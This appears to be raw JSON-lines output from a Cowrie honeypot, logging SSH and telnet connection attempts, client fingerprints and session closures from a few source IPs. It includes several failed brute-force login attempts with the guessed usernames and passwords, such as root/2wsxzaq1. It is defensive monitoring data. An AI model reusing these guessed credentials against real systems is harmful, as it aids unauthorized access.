{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:01.666409Z","src_ip":"198.20.127.158","session":"ff0e0db2d069","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.12894105911255,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:04.620760Z","src_ip":"192.119.13.58","session":"47ac141cd344","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.47254514694214,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:05.866959Z","src_ip":"192.119.13.58","session":"305ebad7af26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.47540307044983,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:09.127473Z","src_ip":"192.119.13.58","session":"6e773187a127","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":58328,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e33c0915179","protocol":"ssh","message":"New connection: 80.94.92.184:58328 (10.17.0.5:22) [session: 5e33c0915179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:12.435420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:12.498848Z","src_ip":"80.94.92.184","session":"5e33c0915179","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:12.634034Z","src_ip":"80.94.92.184","session":"5e33c0915179","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123321","message":"login attempt [solv/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:13.299731Z","src_ip":"80.94.92.184","session":"5e33c0915179","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45032,"dst_ip":"10.17.0.5","dst_port":23,"session":"59bff65374a9","protocol":"telnet","message":"New connection: 192.119.13.58:45032 (10.17.0.5:23) [session: 59bff65374a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:13.377094Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46226,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2c7fbbea250","protocol":"telnet","message":"New connection: 192.119.13.58:46226 (10.17.0.5:23) [session: f2c7fbbea250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:13.643745Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:14.474630Z","src_ip":"80.94.92.184","session":"5e33c0915179","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.56784629821777,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:17.592467Z","src_ip":"192.119.13.58","session":"5fa2dd5c6fbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.70228672027588,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:17.784369Z","src_ip":"192.119.13.58","session":"44eb84231c8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34566,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0342eb91976","protocol":"telnet","message":"New connection: 192.119.13.58:34566 (10.17.0.5:23) [session: d0342eb91976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:17.860339Z"}
{"eventid":"cowrie.session.closed","duration":50.41716718673706,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:18.181701Z","src_ip":"192.119.13.58","session":"72846fdf6e6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.051692724227905,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:19.475615Z","src_ip":"192.119.13.58","session":"99c9fc542bcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45268,"dst_ip":"10.17.0.5","dst_port":23,"session":"cadbab144ed8","protocol":"telnet","message":"New connection: 192.119.13.58:45268 (10.17.0.5:23) [session: cadbab144ed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:20.765127Z"}
{"eventid":"cowrie.session.closed","duration":39.04196572303772,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:25.588340Z","src_ip":"192.119.13.58","session":"ce2fbedfb8ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.597882986068726,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:27.214228Z","src_ip":"192.119.13.58","session":"449d2d783ced","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.280221939086914,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:30.315209Z","src_ip":"192.119.13.58","session":"28c1d97508cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.249221086502075,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:30.370062Z","src_ip":"192.119.13.58","session":"f2053ff9c9a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60148,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea79d3064aa5","protocol":"telnet","message":"New connection: 192.119.13.58:60148 (10.17.0.5:23) [session: ea79d3064aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:31.528009Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32806,"dst_ip":"10.17.0.5","dst_port":23,"session":"11ea05e0e260","protocol":"telnet","message":"New connection: 192.119.13.58:32806 (10.17.0.5:23) [session: 11ea05e0e260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:31.684527Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47434,"dst_ip":"10.17.0.5","dst_port":23,"session":"28b8aa3ba751","protocol":"telnet","message":"New connection: 192.119.13.58:47434 (10.17.0.5:23) [session: 28b8aa3ba751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:42.877914Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":45760,"dst_ip":"10.17.0.5","dst_port":22,"session":"f681c04762bf","protocol":"ssh","message":"New connection: 103.77.175.15:45760 (10.17.0.5:22) [session: f681c04762bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:44.572726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:44.578160Z","src_ip":"103.77.175.15","session":"f681c04762bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:44.839819Z","src_ip":"103.77.175.15","session":"f681c04762bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2wsxzaq1","message":"login attempt [root/2wsxzaq1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:45.607635Z","src_ip":"103.77.175.15","session":"f681c04762bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60456,"dst_ip":"10.17.0.5","dst_port":23,"session":"0278389f2633","protocol":"telnet","message":"New connection: 192.119.13.58:60456 (10.17.0.5:23) [session: 0278389f2633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:46.285903Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:46.868393Z","src_ip":"103.77.175.15","session":"f681c04762bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.31146502494812,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:50.955092Z","src_ip":"192.119.13.58","session":"f2c7fbbea250","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.7801673412323,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:51.157137Z","src_ip":"192.119.13.58","session":"59bff65374a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.1951322555542,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:53.055329Z","src_ip":"192.119.13.58","session":"d0342eb91976","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34522,"dst_ip":"10.17.0.5","dst_port":23,"session":"76efa0c4d580","protocol":"telnet","message":"New connection: 192.119.13.58:34522 (10.17.0.5:23) [session: 76efa0c4d580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:53.940981Z"}
{"eventid":"cowrie.session.closed","duration":37.733813524246216,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:32:58.498817Z","src_ip":"192.119.13.58","session":"cadbab144ed8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":35032,"dst_ip":"10.17.0.5","dst_port":22,"session":"8af08a0a1715","protocol":"ssh","message":"New connection: 176.32.39.21:35032 (10.17.0.5:22) [session: 8af08a0a1715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:01.992718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:01.998108Z","src_ip":"176.32.39.21","session":"8af08a0a1715","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:02.136638Z","src_ip":"176.32.39.21","session":"8af08a0a1715","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38894,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a20d475b240","protocol":"telnet","message":"New connection: 192.119.13.58:38894 (10.17.0.5:23) [session: 0a20d475b240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:02.244444Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"feder_1941","message":"login attempt [root/feder_1941] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:02.504627Z","src_ip":"176.32.39.21","session":"8af08a0a1715","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:03.662674Z","src_ip":"176.32.39.21","session":"8af08a0a1715","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55232,"dst_ip":"10.17.0.5","dst_port":23,"session":"b282a6874b39","protocol":"telnet","message":"New connection: 192.119.13.58:55232 (10.17.0.5:23) [session: b282a6874b39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:06.235537Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34458,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0d8859fdbcb","protocol":"telnet","message":"New connection: 192.119.13.58:34458 (10.17.0.5:23) [session: c0d8859fdbcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:08.077004Z"}
{"eventid":"cowrie.session.closed","duration":0.005864143371582031,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:08.082753Z","src_ip":"192.119.13.58","session":"c0d8859fdbcb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46138,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1637d73c6f4","protocol":"telnet","message":"New connection: 192.119.13.58:46138 (10.17.0.5:23) [session: a1637d73c6f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:10.905361Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55392,"dst_ip":"10.17.0.5","dst_port":23,"session":"a37f22c80105","protocol":"telnet","message":"New connection: 192.119.13.58:55392 (10.17.0.5:23) [session: a37f22c80105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:13.095728Z"}
{"eventid":"cowrie.session.closed","duration":42.287787437438965,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:13.972186Z","src_ip":"192.119.13.58","session":"11ea05e0e260","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36974,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c433f877a14","protocol":"telnet","message":"New connection: 192.119.13.58:36974 (10.17.0.5:23) [session: 0c433f877a14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:15.582548Z"}
{"eventid":"cowrie.session.closed","duration":44.823941230773926,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:16.351912Z","src_ip":"192.119.13.58","session":"ea79d3064aa5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47746,"dst_ip":"10.17.0.5","dst_port":23,"session":"07efe67a1155","protocol":"telnet","message":"New connection: 192.119.13.58:47746 (10.17.0.5:23) [session: 07efe67a1155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:18.433233Z"}
{"eventid":"cowrie.session.closed","duration":38.691017389297485,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:21.568567Z","src_ip":"192.119.13.58","session":"28b8aa3ba751","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38510,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb5330c5ef85","protocol":"telnet","message":"New connection: 192.119.13.58:38510 (10.17.0.5:23) [session: eb5330c5ef85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:24.362818Z"}
{"eventid":"cowrie.session.closed","duration":0.8938229084014893,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:25.256513Z","src_ip":"192.119.13.58","session":"eb5330c5ef85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.836711406707764,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:32.122312Z","src_ip":"192.119.13.58","session":"0278389f2633","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57818,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce0825d629e1","protocol":"telnet","message":"New connection: 192.119.13.58:57818 (10.17.0.5:23) [session: ce0825d629e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:35.231680Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36322,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ace383daace","protocol":"telnet","message":"New connection: 192.119.13.58:36322 (10.17.0.5:23) [session: 0ace383daace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:36.830563Z"}
{"eventid":"cowrie.session.closed","duration":36.477174282073975,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:38.721483Z","src_ip":"192.119.13.58","session":"0a20d475b240","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.40976691246033,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:41.350622Z","src_ip":"192.119.13.58","session":"76efa0c4d580","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43982,"dst_ip":"10.17.0.5","dst_port":23,"session":"e173ed899f19","protocol":"telnet","message":"New connection: 192.119.13.58:43982 (10.17.0.5:23) [session: e173ed899f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:45.809404Z"}
{"eventid":"cowrie.session.closed","duration":34.95167374610901,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:45.856863Z","src_ip":"192.119.13.58","session":"a1637d73c6f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.11189866065979,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:47.347296Z","src_ip":"192.119.13.58","session":"b282a6874b39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43580,"dst_ip":"10.17.0.5","dst_port":23,"session":"05adcb4432bd","protocol":"telnet","message":"New connection: 192.119.13.58:43580 (10.17.0.5:23) [session: 05adcb4432bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:52.886052Z"}
{"eventid":"cowrie.session.closed","duration":42.23775863647461,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:55.333356Z","src_ip":"192.119.13.58","session":"a37f22c80105","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56980,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfd4617f2f3e","protocol":"telnet","message":"New connection: 192.119.13.58:56980 (10.17.0.5:23) [session: dfd4617f2f3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:56.323114Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57660,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6dc07399cbf","protocol":"telnet","message":"New connection: 192.119.13.58:57660 (10.17.0.5:23) [session: c6dc07399cbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:56.490144Z"}
{"eventid":"cowrie.session.closed","duration":0.005876064300537109,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:56.495889Z","src_ip":"192.119.13.58","session":"c6dc07399cbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.1661422252655,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:33:57.599262Z","src_ip":"192.119.13.58","session":"07efe67a1155","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43436,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f9c958db50f","protocol":"telnet","message":"New connection: 192.119.13.58:43436 (10.17.0.5:23) [session: 7f9c958db50f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:00.030615Z"}
